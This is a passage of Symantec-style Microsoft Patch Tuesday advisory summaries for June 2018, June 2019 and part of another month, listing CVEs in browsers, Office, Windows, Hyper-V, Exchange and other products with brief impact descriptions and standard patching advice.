A remote code execution vulnerability exists in the way that the Windows Graphics Device Interface (GDI) handles objects in the memory. An attacker who successfully exploited this vulnerability could take control of the affected system.
Security Update for Microsoft SQL Server
Microsoft SQL Server Remote Code Execution Vulnerability (CVE-2019-1068) MS Rating: Important
A remote code execution vulnerability exists in Microsoft SQL Server when it incorrectly handles processing of internal functions. An attacker who successfully exploited this vulnerability could execute code in the context of the SQL Server Database Engine service account.
Security Update for Microsoft Exchange
Microsoft Exchange Information Disclosure Vulnerability (CVE-2019-1084) MS Rating: Important
An information disclosure vulnerability exists when Exchange allows creation of entities with Display Names having non-printable characters. An attacker could exploit this vulnerability by creating entities with invalid display names, and add such entities to conversations without being noticed.
Microsoft Exchange Server Privilege Escalation Vulnerability (CVE-2019-1136) MS Rating: Important
A privilege escalation vulnerability exists in Microsoft Exchange Server. An attacker who successfully exploited this vulnerability could gain the same rights as any other user of the Exchange server.
Microsoft Exchange Server Spoofing Vulnerability (CVE-2019-1137) MS Rating: Important
A cross-site-scripting (XSS) vulnerability exists when Microsoft Exchange Server does not properly sanitize a specially crafted web request to an affected Exchange server. An authenticated attacker could exploit the vulnerability by sending a specially crafted request to an affected server.
Security Update for Azure and Team Foundation Server
Team Foundation Server Cross-site Scripting Vulnerability (CVE-2019-1076) MS Rating: Important
A Cross-site Scripting (XSS) vulnerability exists when Team Foundation Server does not properly sanitize user provided input. An authenticated attacker could exploit the vulnerability by sending a specially crafted payload to the Team Foundation Server, which will get executed in the context of the user every time a user visits the compromised page.
Azure DevOps Server and Team Foundation Server Remote Code Execution Vulnerability (CVE-2019-1072) MS Rating: Important
A remote code execution vulnerability exists when Azure DevOps Server and Team Foundation Server (TFS) improperly handle user input. An attacker who successfully exploited the vulnerability could execute code on the target server in the context of the DevOps or TFS service account.
Azure Automation Privilege Escalation Vulnerability (CVE-2019-0962) MS Rating: Critical
A privilege escalation vulnerability exists in Azure Automation "RunAs account" runbooks for users with contributor role. This vulnerability could potentially allow members of an organization to access Key Vault secrets through a runbook, even if these members would personally not have access to that Key Vault.
Security Update for Microsoft Visual Studio
Visual Studio Privilege Escalation Vulnerability (CVE-2019-1077) MS Rating: Important
A privilege escalation vulnerability exists when the Visual Studio updater service improperly handles file permissions. An attacker who successfully exploited this vulnerability overwrite arbitrary files with XML content in the security context of the local system.
Visual Studio Information Disclosure Vulnerability (CVE-2019-1079) MS Rating: Important
An information disclosure vulnerability exists when Visual Studio improperly parses XML input in certain settings files. An attacker who successfully exploited this vulnerability could read arbitrary files via an XML external entity (XXE) declaration.
More information is available on Symantec's free Security Center portal and to our customers through the DeepSight Threat Management System.
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Microsoft Patch Tuesday – June 2018
This month the vendor has patched 50 vulnerabilities, 11 of which are rated Critical.
As always, customers are advised to follow these security best practices:
Install vendor patches as soon as they are available.
Run all software with the least privileges required while still maintaining functionality.
Avoid handling files from unknown or questionable sources.
Never visit sites of unknown or questionable integrity.
Block external access at the network perimeter to all key systems unless specific access is required.
Microsoft's summary of the June 2018 releases can be found here:
https://portal.msrc.microsoft.com/en-us/security-guidance
This month's update covers vulnerabilities in:
Internet Explorer
Microsoft Edge
Microsoft Office
Microsoft Hyper-V
Microsoft Windows
Device Guard Code
ChakraCore
The following is a breakdown of the issues being addressed this month:
Cumulative Security Update for Microsoft Browsers
Microsoft Edge Memory Corruption Vulnerability (CVE-2018-8236)MS Rating: Critical
A remote code execution vulnerability exists when Microsoft Edge improperly accesses objects in memory. This vulnerability may corrupt memory in such a way that enables an attacker to execute arbitrary code in the context of the current user. Attackers can exploit this issue by enticing an unsuspecting user to view a specially crafted web page.
Scripting Engine Memory Corruption Vulnerability (CVE-2018-8243)MS Rating: Critical
A remote code execution vulnerability exists in the way that the ChakraCore scripting engine handles objects in memory. This vulnerability may corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user. Attackers can exploit this issue by enticing an unsuspecting user to view a specially crafted web page.
Internet Explorer Memory Corruption Vulnerability (CVE-2018-8249)MS Rating: Critical
A remote code execution vulnerability exists when Internet Explorer improperly accesses objects in memory. This vulnerability may corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user. Attackers can exploit this issue by enticing an unsuspecting user to view a specially crafted web page.
Scripting Engine Memory Corruption Vulnerability (CVE-2018-8267)MS Rating: Critical
A remote code execution vulnerability exists in the way that the scripting engine handles objects in memory in Internet Explorer. This vulnerability may corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user. Attackers can exploit this issue by enticing an unsuspecting user to view a specially crafted web page.
Microsoft Edge Memory Corruption Vulnerability (CVE-2018-8110)MS Rating: Critical
A remote code execution vulnerability exists when Microsoft Edge improperly accesses objects in memory. This vulnerability may corrupt memory in such a way that enables an attacker to execute arbitrary code in the context of the current user. Attackers can exploit this issue by enticing an unsuspecting user to view a specially crafted web page.
Microsoft Edge Memory Corruption Vulnerability (CVE-2018-8111)MS Rating: Critical
A remote code execution vulnerability exists when Microsoft Edge improperly accesses objects in memory. This vulnerability may corrupt memory in such a way that enables an attacker to execute arbitrary code in the context of the current user. Attackers can exploit this issue by enticing an unsuspecting user to view a specially crafted web page.
Chakra Scripting Engine Memory Corruption Vulnerability (CVE-2018-8229)MS Rating: Critical
A remote code execution vulnerability exists in the way that the Chakra scripting engine handles objects in memory in Microsoft Edge. Attackers can exploit this issue by enticing an unsuspecting user to view a specially crafted web page.
Microsoft Edge Information Disclosure Vulnerability (CVE-2018-0871)MS Rating: Important
An information disclosure vulnerability exists when Edge improperly marks files. An attacker who successfully exploited this vulnerability could exfiltrate file contents from disk. Attackers can exploit this issue by enticing an unsuspecting user to view a specially crafted web page.
Internet Explorer Memory Corruption Vulnerability (CVE-2018-0978)MS Rating: Important
A remote code execution vulnerability exists when Internet Explorer improperly accesses objects in memory. This vulnerability may corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user. Attackers can exploit this issue by enticing an unsuspecting user to view a specially crafted web page.
Internet Explorer Security Feature Bypass Vulnerability (CVE-2018-8113)MS Rating: Important
A security bypass vulnerability exists in Internet Explorer that allows for bypassing Mark of the Web Tagging (MOTW). Failing to set the MOTW means that a large number of Microsoft security technologies are bypassed. Attackers can exploit this issue by enticing an unsuspecting user to view a specially crafted web page.
Chakra Scripting Engine Memory Corruption Vulnerability (CVE-2018-8227)MS Rating: Important
A remote code execution vulnerability exists in the way that the Chakra scripting engine handles objects in memory in Microsoft Edge. This vulnerability may corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user. Attackers can exploit this issue by enticing an unsuspecting user to view a specially crafted web page.
Microsoft Edge Information Disclosure Vulnerability (CVE-2018-8234)MS Rating: Important
An information disclosure vulnerability exists when Microsoft Edge improperly handles objects in memory. An attacker can exploit this issue to obtain sensitive information to further compromise the user’s system. Attackers can exploit this issue by enticing an unsuspecting user to view a specially crafted web page.
Microsoft Edge Security Bypass Vulnerability (CVE-2018-8235)MS Rating: Important
A security bypass vulnerability exists when Microsoft Edge improperly handles requests of different origins. An attacker can exploit this issue to bypass Same-Origin Policy (SOP) restrictions, and to allow requests that should otherwise be ignored.
Cumulative Security Update for Microsoft Office
Microsoft Outlook Elevation of Privilege Vulnerability (CVE-2018-8244)MS Rating: Important
A privilege escalation vulnerability exists when Microsoft Outlook does not validate attachment headers properly. An attacker who successfully exploited the vulnerability could send an email with hidden attachments that would be opened or executed once a victim clicks a link within the email.
Microsoft Office Elevation of Privilege Vulnerability (CVE-2018-8245)MS Rating: Important
A privilege escalation vulnerability exists when Microsoft Publisher fails to utilize features that lock down the Local Machine zone when instantiating OLE objects. An attacker who successfully exploited the vulnerability could force arbitrary code to be executed in the Local Machine zone.
Microsoft Excel Information Disclosure Vulnerability (CVE-2018-8246)MS Rating: Important
An information disclosure vulnerability exists when Microsoft Excel improperly discloses the contents of its memory. An attacker who exploited the vulnerability could use the information to compromise the user’s computer or data.
Microsoft Office Elevation of Privilege Vulnerability (CVE-2018-8247)MS Rating: Important
A privilege escalation vulnerability exists when Office Web Apps Server 2013 and Office Online Server fail to properly handle web requests. An attacker who successfully exploited this vulnerability could perform script/content injection attacks and attempt to trick the user into disclosing sensitive information.
Microsoft Excel Remote Code Execution Vulnerability (CVE-2018-8248)MS Rating: Important
A remote code execution vulnerability exists in Microsoft Excel software when the software fails to properly handle objects in memory. An attacker who successfully exploited the vulnerability could run arbitrary code in the context of the current user.
Microsoft SharePoint Elevation of Privilege Vulnerability (CVE-2018-8252)MS Rating: Important
A privilege escalation vulnerability exists when Microsoft SharePoint Server does not properly sanitize a specially crafted web request to an affected SharePoint server. An authenticated attacker could exploit the vulnerability by sending a specially crafted request to an affected SharePoint server.
Microsoft SharePoint Elevation of Privilege Vulnerability (CVE-2018-8254)MS Rating: Important
A privilege escalation vulnerability exists when Microsoft SharePoint Server does not properly sanitize a specially crafted web request to an affected SharePoint server. An authenticated attacker could exploit the vulnerability by sending a specially crafted request to an affected SharePoint server.
Cumulative Security Update for Microsoft Hyper-V
Windows Hyper-V Denial of Service Vulnerability (CVE-2018-8218)MS Rating: Important
A denial of service vulnerability exists when Microsoft Hyper-V Network Switch on a host server fails to properly validate input from a privileged user on a guest operating system. An attacker who successfully exploited the vulnerability could cause the host server to crash.
Hypervisor Code Integrity Elevation of Privilege Vulnerability (CVE-2018-8219)MS Rating: Important
A privilege escalation vulnerability exists when Windows Hyper-V instruction emulation fails to properly enforce privilege levels. An attacker who successfully exploited this vulnerability could gain elevated privileges on a target guest operating system.
Cumulative Security Update for Microsoft Windows Kernel
Windows Kernel Information Disclosure Vulnerability (CVE-2018-8121)MS Rating: Important
An information disclosure vulnerability exists when the Windows kernel improperly initializes objects in memory. An attacker can exploit this issue by running a specially crafted application. An attacker who successfully exploited this vulnerability could obtain information to further compromise the user's system.
Windows Kernel Information Disclosure Vulnerability (CVE-2018-8207)MS Rating: Important
An information disclosure vulnerability exists when the Windows kernel improperly handles objects in memory. An attacker who successfully exploited this vulnerability could obtain information to further compromise the user’s system.
Windows Kernel Elevation of Privilege Vulnerability (CVE-2018-8224)MS Rating: Important
A privilege escalation vulnerability exists when the Windows kernel fails to properly handle objects in memory. An attacker who successfully exploited this vulnerability could run arbitrary code in kernel mode.
Win32k Elevation of Privilege Vulnerability (CVE-2018-8233)MS Rating: Important
A privilege escalation vulnerability exists in Windows when the Win32k component fails to properly handle objects in memory. An attacker who successfully exploited this vulnerability could run arbitrary code in kernel mode.
Cumulative Security Update for Microsoft Windows
Media Foundation Memory Corruption Vulnerability (CVE-2018-8251)MS Rating: Critical
A memory corruption vulnerability exists when Windows Media Foundation improperly handles objects in memory. An attacker who successfully exploited the vulnerability could install programs; view, change, or delete data; or create new accounts with full user rights.
Windows Remote Code Execution Vulnerability (CVE-2018-8213)MS Rating: Critical
A remote code execution vulnerability exists when Windows improperly handles objects in memory. An attacker who successfully exploited these vulnerabilities could take control of an affected system.
Windows DNSAPI Remote Code Execution Vulnerability (CVE-2018-8225)MS Rating: Critical
A remote code execution vulnerability exists in Windows Domain Name System (DNS) DNSAPI. dll when it fails to properly handle DNS responses.
HTTP Protocol Stack Remote Code Execution Vulnerability (CVE-2018-8231)MS Rating: Critical
A remote code execution vulnerability exists when HTTP Protocol Stack (Http.sys) improperly handles objects in memory. An attacker who successfully exploited this vulnerability could execute arbitrary code and take control of the affected system.
Windows Elevation of Privilege Vulnerability (CVE-2018-0982)MS Rating: Important
A privilege escalation vulnerability exists in the way that the Windows Kernel API enforces permissions. An attacker who successfully exploited the vulnerability could impersonate processes, interject cross-process communication, or interrupt system functionality.
NTFS Elevation of Privilege Vulnerability (CVE-2018-1036)MS Rating: Important
A privilege escalation vulnerability exists when NTFS improperly checks access. An attacker who successfully exploited this vulnerability could run processes in an elevated context.
Windows Code Integrity Module Denial of Service Vulnerability (CVE-2018-1040)MS Rating: Important
A denial of service vulnerability exists in the way that the Windows Code Integrity Module performs hashing. An attacker who successfully exploited the vulnerability could cause a system to stop responding.
Cortana Elevation of Privilege Vulnerability (CVE-2018-8140)MS Rating: Important
A privilege escalation vulnerability exists when Cortana retrieves data from user input services without consideration for status. An attacker who successfully exploited the vulnerability could execute commands with elevated permissions.
HIDParser Elevation of Privilege Vulnerability (CVE-2018-8169)MS Rating: Important
A privilege escalation vulnerability exists when the (Human Interface Device) HID Parser Library driver improperly handles objects in memory. An attacker who successfully exploited this vulnerability could run processes in an elevated context.
WEBDAV Denial of Service Vulnerability (CVE-2018-8175)MS Rating: Important
An denial of service vulnerability exists when Windows NT WEBDAV Minirdr attempts to query a WEBDAV directory. An attacker who successfully exploited the vulnerability could cause a denial of service.
Windows Denial of Service Vulnerability (CVE-2018-8205)MS Rating: Important
A denial of service vulnerability exists when Windows improperly handles objects in memory. An attacker who successfully exploited the vulnerability could cause a target system to stop responding.
Windows Desktop Bridge Elevation of Privilege Vulnerability (CVE-2018-8208)MS Rating: Important
A privilege escalation vulnerability exists in Windows when Desktop Bridge does not properly manage the virtual registry. An attacker who successfully exploited this vulnerability could run arbitrary code in kernel mode.
Windows Wireless Network Profile Information Disclosure Vulnerability (CVE-2018-8209)MS Rating: Important
An information disclosure vulnerability exists when Windows allows a normal user to access the Wireless LAN profile of an administrative user. An authenticated attacker who successfully exploited the vulnerability could access the Wireless LAN profile of an administrative user, including passwords for wireless networks.
Windows Remote Code Execution Vulnerability (CVE-2018-8210)MS Rating: Important
A remote code execution vulnerability exists when Windows improperly handles objects in memory. An attacker who successfully exploited these vulnerabilities could take control of an affected system.
HTTP.sys Denial of Service Vulnerability (CVE-2018-8226)MS Rating: Important
A denial of service vulnerability exists in the HTTP 2.0 protocol stack (HTTP.sys) when HTTP.sys improperly parses specially crafted HTTP 2.0 requests. An attacker who successfully exploited the vulnerability could create a denial of service condition, causing the target system to become unresponsive.
Windows GDI Information Disclosure Vulnerability (CVE-2018-8239)MS Rating: Important
An information disclosure vulnerability exists when the Windows GDI component improperly discloses the contents of its memory. An attacker can exploit this issue to obtain sensitive information to further compromise the user’s system.
Windows Desktop Bridge Elevation of Privilege Vulnerability (CVE-2018-8214)MS Rating: Important
A privilege escalation vulnerability exists in Windows when Desktop Bridge does not properly manage the virtual registry. An attacker who successfully exploited this vulnerability could run arbitrary code in kernel mode.
Cumulative Security Update for Microsoft Device Guard Code
Device Guard Code Integrity Policy Security Bypass Vulnerability (CVE-2018-8211)MS Rating: Important
A security bypass vulnerability exists in Device Guard that could allow an attacker to inject malicious code into a Windows PowerShell session. An attacker who successfully exploited this vulnerability could inject code into a trusted PowerShell process to bypass the Device Guard Code Integrity policy on the local machine.
Device Guard Code Integrity Policy Security Bypass Vulnerability (CVE-2018-8212)MS Rating: Important
A security bypass vulnerability exists in Device Guard that could allow an attacker to inject malicious code into a Windows PowerShell session. An attacker who successfully exploited this vulnerability could inject code into a trusted PowerShell process to bypass the Device Guard Code Integrity policy on the local machine.
Device Guard Code Integrity Policy Security Bypass Vulnerability (CVE-2018-8215)MS Rating: Important
A security bypass vulnerability exists in Device Guard that could allow an attacker to inject malicious code into a Windows PowerShell session. An attacker who successfully exploited this vulnerability could inject code into a trusted PowerShell process to bypass the Device Guard Code Integrity policy on the local machine.
Device Guard Code Integrity Policy Security Bypass Vulnerability (CVE-2018-8216)MS Rating: Important
A security bypass vulnerability exists in Device Guard that could allow an attacker to inject malicious code into a Windows PowerShell session. An attacker who successfully exploited this vulnerability could inject code into a trusted PowerShell process to bypass the Device Guard Code Integrity policy on the local machine.
Device Guard Code Integrity Policy Security Bypass Vulnerability (CVE-2018-8217)MS Rating: Important
A security bypass vulnerability exists in Device Guard that could allow an attacker to inject malicious code into a Windows PowerShell session. An attacker who successfully exploited this vulnerability could inject code into a trusted PowerShell process to bypass the Device Guard Code Integrity policy on the local machine.
Device Guard Code Integrity Policy Security Bypass Vulnerability (CVE-2018-8221)MS Rating: Important
A security bypass vulnerability exists in Device Guard that could allow an attacker to inject malicious code into a Windows PowerShell session. An attacker who successfully exploited this vulnerability could inject code into a trusted PowerShell process to bypass the Device Guard Code Integrity policy on the local machine.
Device Guard Code Integrity Policy Security Bypass Vulnerability (CVE-2018-8201)MS Rating: Important
A security bypass vulnerability exists in Device Guard that could allow an attacker to inject malicious code into a Windows PowerShell session. An attacker who successfully exploited this vulnerability could inject code into a trusted PowerShell process to bypass the Device Guard Code Integrity policy on the local machine.
More information is available on Symantec's free Security Center portal and to our customers through the DeepSight Threat Management System.
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Microsoft Patch Tuesday – June 2019
This month the vendor has patched 88 vulnerabilities, 20 of which are rated Critical.
As always, customers are advised to follow these security best practices:
Install vendor patches as soon as they are available.
Run all software with the least privileges required while still maintaining functionality.
Avoid handling files from unknown or questionable sources.
Never visit sites of unknown or questionable integrity.
Block external access at the network perimeter to all key systems unless specific access is required.
Microsoft's summary of the June 2019 releases can be found here:
https://portal.msrc.microsoft.com/en-us/security-guidance
This month's update covers vulnerabilities in:
Internet Explorer
Microsoft Edge
ChakraCore
Microsoft Office
Microsoft Windows
Windows Hyper-V
Graphics Device Interface (GDI)
Jet Database Engine
Skype for Business and Lync Server
Azure
The following is a breakdown of the issues being addressed this month:
Cumulative Security Update for Microsoft Browsers
Microsoft Edge Security Feature Bypass Vulnerability (CVE-2019-1054) MS Rating: Important
A security bypass vulnerability exists in Edge that allows for bypassing Mark of the Web Tagging (MOTW). An attacker can exploit this issue by hosting a malicious website or sending the targeted user a specially crafted .url file that is designed to exploit the bypass.
Microsoft Browser Memory Corruption Vulnerability (CVE-2019-1038) MS Rating: Critical
A remote code execution vulnerability exists in the way that Microsoft browsers access objects in memory. The vulnerability could corrupt memory in a way that could allow an attacker to execute arbitrary code in the context of the current user. An attacker can exploit this issue to gain the same user rights as the current user.
Chakra Scripting Engine Memory Corruption Vulnerability (CVE-2019-0989) MS Rating: Critical
A remote code execution vulnerability exists in the way that the Chakra scripting engine handles objects in memory in Microsoft Edge. The vulnerability could corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user. An attacker can exploit this issue to gain the same user rights as the current user.
Chakra Scripting Engine Memory Corruption Vulnerability (CVE-2019-0991) MS Rating: Critical
A remote code execution vulnerability exists in the way that the Chakra scripting engine handles objects in memory in Microsoft Edge. The vulnerability could corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user. An attacker can exploit this issue to gain the same user rights as the current user.
Chakra Scripting Engine Memory Corruption Vulnerability (CVE-2019-0992) MS Rating: Critical
A remote code execution vulnerability exists in the way that the Chakra scripting engine handles objects in memory in Microsoft Edge. The vulnerability could corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user. An attacker can exploit this issue to gain the same user rights as the current user.
Chakra Scripting Engine Memory Corruption Vulnerability (CVE-2019-0993) MS Rating: Critical
A remote code execution vulnerability exists in the way that the Chakra scripting engine handles objects in memory in Microsoft Edge. The vulnerability could corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user. An attacker can exploit this issue to gain the same user rights as the current user.
Chakra Scripting Engine Memory Corruption Vulnerability (CVE-2019-1002) MS Rating: Critical
A remote code execution vulnerability exists in the way that the Chakra scripting engine handles objects in memory in Microsoft Edge. The vulnerability could corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user. An attacker can exploit this issue to gain the same user rights as the current user.
Chakra Scripting Engine Memory Corruption Vulnerability (CVE-2019-1003) MS Rating: Critical
A remote code execution vulnerability exists in the way that the Chakra scripting engine handles objects in memory in Microsoft Edge. The vulnerability could corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user. An attacker can exploit this issue to gain the same user rights as the current user.
Chakra Scripting Engine Memory Corruption Vulnerability (CVE-2019-1024) MS Rating: Critical
A remote code execution vulnerability exists in the way that the Chakra scripting engine handles objects in memory in Microsoft Edge. The vulnerability could corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user. An attacker can exploit this issue to gain the same user rights as the current user.
Chakra Scripting Engine Memory Corruption Vulnerability (CVE-2019-1051) MS Rating: Critical
A remote code execution vulnerability exists in the way that the Chakra scripting engine handles objects in memory in Microsoft Edge. The vulnerability could corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user. An attacker can exploit this issue to gain the same user rights as the current user.
Chakra Scripting Engine Memory Corruption Vulnerability (CVE-2019-1052) MS Rating: Critical
A remote code execution vulnerability exists in the way that the Chakra scripting engine handles objects in memory in Microsoft Edge. The vulnerability could corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user. An attacker can exploit this issue to gain the same user rights as the current user.
Scripting Engine Memory Corruption Vulnerability (CVE-2019-0920) MS Rating: Critical
A remote code execution vulnerability exists in the way the scripting engine handles objects in memory in Microsoft browsers. The vulnerability could corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user. An attacker can exploit this issue to gain the same user rights as the current user.
Scripting Engine Memory Corruption Vulnerability (CVE-2019-0988) MS Rating: Critical
A remote code execution vulnerability exists in the way that the scripting engine handles objects in memory in Internet Explorer. The vulnerability could corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user. An attacker can exploit this issue to gain the same user rights as the current user.
Scripting Engine Information Disclosure Vulnerability (CVE-2019-0990) MS Rating: Critical
An information disclosure vulnerability exists when the scripting engine does not properly handle objects in memory in Microsoft Edge. An attacker can exploit this issue to obtain information to further compromise the user's system.
Scripting Engine Memory Corruption Vulnerability (CVE-2019-1055) MS Rating: Critical
A remote code execution vulnerability exists in the way the scripting engine handles objects in memory in Microsoft browsers. The vulnerability could corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user. An attacker can exploit this issue to gain the same user rights as the current user.
Scripting Engine Memory Corruption Vulnerability (CVE-2019-1080) MS Rating: Critical
A remote code execution vulnerability exists in the way the scripting engine handles objects in memory in Microsoft browsers. The vulnerability could corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user. An attacker can exploit this issue to gain the same user rights as the current user.
Scripting Engine Memory Corruption Vulnerability (CVE-2019-1005) MS Rating: Important
A remote code execution vulnerability exists in the way the scripting engine handles objects in memory in Microsoft browsers. The vulnerability could corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user. An attacker can exploit this issue to gain the same user rights as the current user.
Scripting Engine Information Disclosure Vulnerability (CVE-2019-1023) MS Rating: Important
An information disclosure vulnerability exists when the scripting engine does not properly handle objects in memory in Microsoft Edge. An attacker can exploit this issue to obtain information to further compromise the user's system.
Microsoft Browser Information Disclosure Vulnerability (CVE-2019-1081) MS Rating: Important
An information disclosure vulnerability exists when the Microsoft browsers do not properly handle objects in memory. An attacker can exploit this issue to obtain information to further compromise the user's system.
Cumulative Security Update for Microsoft Office
Microsoft Office SharePoint XSS Vulnerability (CVE-2019-1031) MS Rating: Important
A cross-site-scripting (XSS) vulnerability exists when Microsoft SharePoint Server does not properly sanitize a specially crafted web request to an affected SharePoint server. An authenticated attacker could exploit the vulnerability by sending a specially crafted request to an affected SharePoint server.
Microsoft Office SharePoint XSS Vulnerability (CVE-2019-1032) MS Rating: Important
A cross-site-scripting (XSS) vulnerability exists when Microsoft SharePoint Server does not properly sanitize a specially crafted web request to an affected SharePoint server. An authenticated attacker could exploit the vulnerability by sending a specially crafted request to an affected SharePoint server.
Microsoft Office SharePoint XSS Vulnerability (CVE-2019-1033) MS Rating: Important
A cross-site-scripting (XSS) vulnerability exists when Microsoft SharePoint Server does not properly sanitize a specially crafted web request to an affected SharePoint server. An authenticated attacker could exploit the vulnerability by sending a specially crafted request to an affected SharePoint server.
Microsoft Office SharePoint XSS Vulnerability (CVE-2019-1036) MS Rating: Important
A cross-site-scripting (XSS) vulnerability exists when Microsoft SharePoint Server does not properly sanitize a specially crafted web request to an affected SharePoint server. An authenticated attacker could exploit the vulnerability by sending a specially crafted request to an affected SharePoint server.
Microsoft Word Remote Code Execution Vulnerability (CVE-2019-1034) MS Rating: Important
A remote code execution vulnerability exists in Microsoft Word software when it fails to properly handle objects in memory. An attacker can exploit this issue to use a specially crafted file to perform actions in the security context of the current user.
Microsoft Word Remote Code Execution Vulnerability (CVE-2019-1035) MS Rating: Important
A remote code execution vulnerability exists in Microsoft Word software when it fails to properly handle objects in memory. An attacker can exploit this issue to use a specially crafted file to perform actions in the security context of the current user.
Cumulative Security Update for Microsoft Windows Kernel
Win32k Elevation of Privilege Vulnerability (CVE-2019-0960) MS Rating: Important
A privilege escalation vulnerability exists in Windows when the Win32k component fails to properly handle objects in memory. An attacker can exploit this issue to run arbitrary code in kernel mode.
Win32k Elevation of Privilege Vulnerability (CVE-2019-1014) MS Rating: Important
A privilege escalation vulnerability exists in Windows when the Win32k component fails to properly handle objects in memory. An attacker can exploit this issue to run arbitrary code in kernel mode.
Win32k Elevation of Privilege Vulnerability (CVE-2019-1017) MS Rating: Important
A privilege escalation vulnerability exists in Windows when the Win32k component fails to properly handle objects in memory. An attacker can exploit this issue to run arbitrary code in kernel mode.
Windows Kernel Information Disclosure Vulnerability (CVE-2019-1039) MS Rating: Important
An information disclosure vulnerability exists when the Windows kernel improperly initializes objects in memory. To exploit this vulnerability, an authenticated attacker could run a specially crafted application. An attacker can exploit this issue to obtain information to further compromise the user's system.
Windows Kernel Elevation of Privilege Vulnerability (CVE-2019-1041) MS Rating: Important
A privilege escalation vulnerability exists when the Windows kernel fails to properly handle objects in memory. An attacker can exploit this issue to run arbitrary code in kernel mode.
Windows Secure Kernel Mode Security Feature Bypass Vulnerability (CVE-2019-1044) MS Rating: Important
A security feature bypass vulnerability exists when Windows Secure Kernel Mode fails to properly handle objects in memory. To exploit the vulnerability, a locally-authenticated attacker could attempt to run a specially crafted application on a targeted system. An attacker can exploit this issue to violate virtual trust levels (VTL).
Windows Kernel Elevation of Privilege Vulnerability (CVE-2019-1065) MS Rating: Important
A privilege escalation vulnerability exists when the Windows kernel fails to properly handle objects in memory. An attacker can exploit this issue to run arbitrary code in kernel mode.
Cumulative Security Update for Microsoft Windows Hyper-V
Windows Hyper-V Remote Code Execution Vulnerability (CVE-2019-0620) MS Rating: Critical
A remote code execution vulnerability exists when Windows Hyper-V on a host server fails to properly validate input from an authenticated user on a guest operating system. To exploit the vulnerability, an attacker requires to run a specially crafted application on a guest operating system that causes the Hyper-V host operating system to execute arbitrary code.
Windows Hyper-V Remote Code Execution Vulnerability (CVE-2019-0722) MS Rating: Critical
A remote code execution vulnerability exists when Windows Hyper-V on a host server fails to properly validate input from an authenticated user on a guest operating system. To exploit the vulnerability, an attacker requires to run a specially crafted application on a guest operating system that causes the Hyper-V host operating system to execute arbitrary code.
Windows Hyper-V Denial of Service Vulnerability (CVE-2019-0713) MS Rating: Important
A denial of service vulnerability exists when Microsoft Hyper-V on a host server fails to properly validate input from a privileged user on a guest operating system. To exploit the vulnerability, an attacker who already has a privileged account on a guest operating system, running as a virtual machine, could run a specially crafted application that causes a host machine to crash.
Windows Hyper-V Remote Code Execution Vulnerability (CVE-2019-0709) MS Rating: Critical
A remote code execution vulnerability exists when Windows Hyper-V on a host server fails to properly validate input from an authenticated user on a guest operating system. To exploit the vulnerability, an attacker could run a specially crafted application on a guest operating system that could cause the Hyper-V host operating system to execute arbitrary code. An attacker can exploit this issue to execute arbitrary code on the host operating system.
Windows Hyper-V Denial Of Service Vulnerability (CVE-2019-0710) MS Rating: Important
A denial of service vulnerability exists when Microsoft Hyper-V on a host server fails to properly validate input from a privileged user on a guest operating system. To exploit the vulnerability, an attacker who already has a privileged account on a guest operating system, running as a virtual machine, could run a specially crafted application that causes a host machine to crash.
Windows Hyper-V Denial Of Service Vulnerability (CVE-2019-0711) MS Rating: Important
A denial of service vulnerability exists when Microsoft Hyper-V on a host server fails to properly validate input from a privileged user on a guest operating system. To exploit the vulnerability, an attacker who already has a privileged account on a guest operating system, running as a virtual machine, could run a specially crafted application that causes a host machine to crash.
Cumulative Security Update for Microsoft Windows Jet Database Engine
Jet Database Engine Remote Code Execution Vulnerability (CVE-2019-0904) MS Rating: Important
A remote code execution vulnerability exists when the Windows Jet Database Engine improperly handles objects in memory. An attacker can exploit this issue to execute arbitrary code on a victim system. An attacker could exploit this vulnerability by enticing a victim to open a specially crafted file.
Jet Database Engine Remote Code Execution Vulnerability (CVE-2019-0905) MS Rating: Important
A remote code execution vulnerability exists when the Windows Jet Database Engine improperly handles objects in memory. An attacker can exploit this issue to execute arbitrary code on a victim system. An attacker could exploit this vulnerability by enticing a victim to open a specially crafted file.
Jet Database Engine Remote Code Execution Vulnerability (CVE-2019-0906) MS Rating: Important
A remote code execution vulnerability exists when the Windows Jet Database Engine improperly handles objects in memory. An attacker can exploit this issue to execute arbitrary code on a victim system. An attacker could exploit this vulnerability by enticing a victim to open a specially crafted file.
Jet Database Engine Remote Code Execution Vulnerability (CVE-2019-0907) MS Rating: Important
A remote code execution vulnerability exists when the Windows Jet Database Engine improperly handles objects in memory. An attacker can exploit this issue to execute arbitrary code on a victim system. An attacker could exploit this vulnerability by enticing a victim to open a specially crafted file.
Jet Database Engine Remote Code Execution Vulnerability (CVE-2019-0908) MS Rating: Important
A remote code execution vulnerability exists when the Windows Jet Database Engine improperly handles objects in memory. An attacker can exploit this issue to execute arbitrary code on a victim system. An attacker could exploit this vulnerability by enticing a victim to open a specially crafted file.
Jet Database Engine Remote Code Execution Vulnerability (CVE-2019-0909) MS Rating: Important
A remote code execution vulnerability exists when the Windows Jet Database Engine improperly handles objects in memory. An attacker can exploit this issue to execute arbitrary code on a victim system. An attacker could exploit this vulnerability by enticing a victim to open a specially crafted file.
Jet Database Engine Remote Code Execution Vulnerability (CVE-2019-0974) MS Rating: Important
A remote code execution vulnerability exists when the Windows Jet Database Engine improperly handles objects in memory. An attacker can exploit this issue to execute arbitrary code on a victim system. An attacker could exploit this vulnerability by enticing a victim to open a specially crafted file.
Cumulative Security Update for Microsoft Windows Graphics Device Interface (GDI)
Windows GDI Information Disclosure Vulnerability (CVE-2019-1009) MS Rating: Important
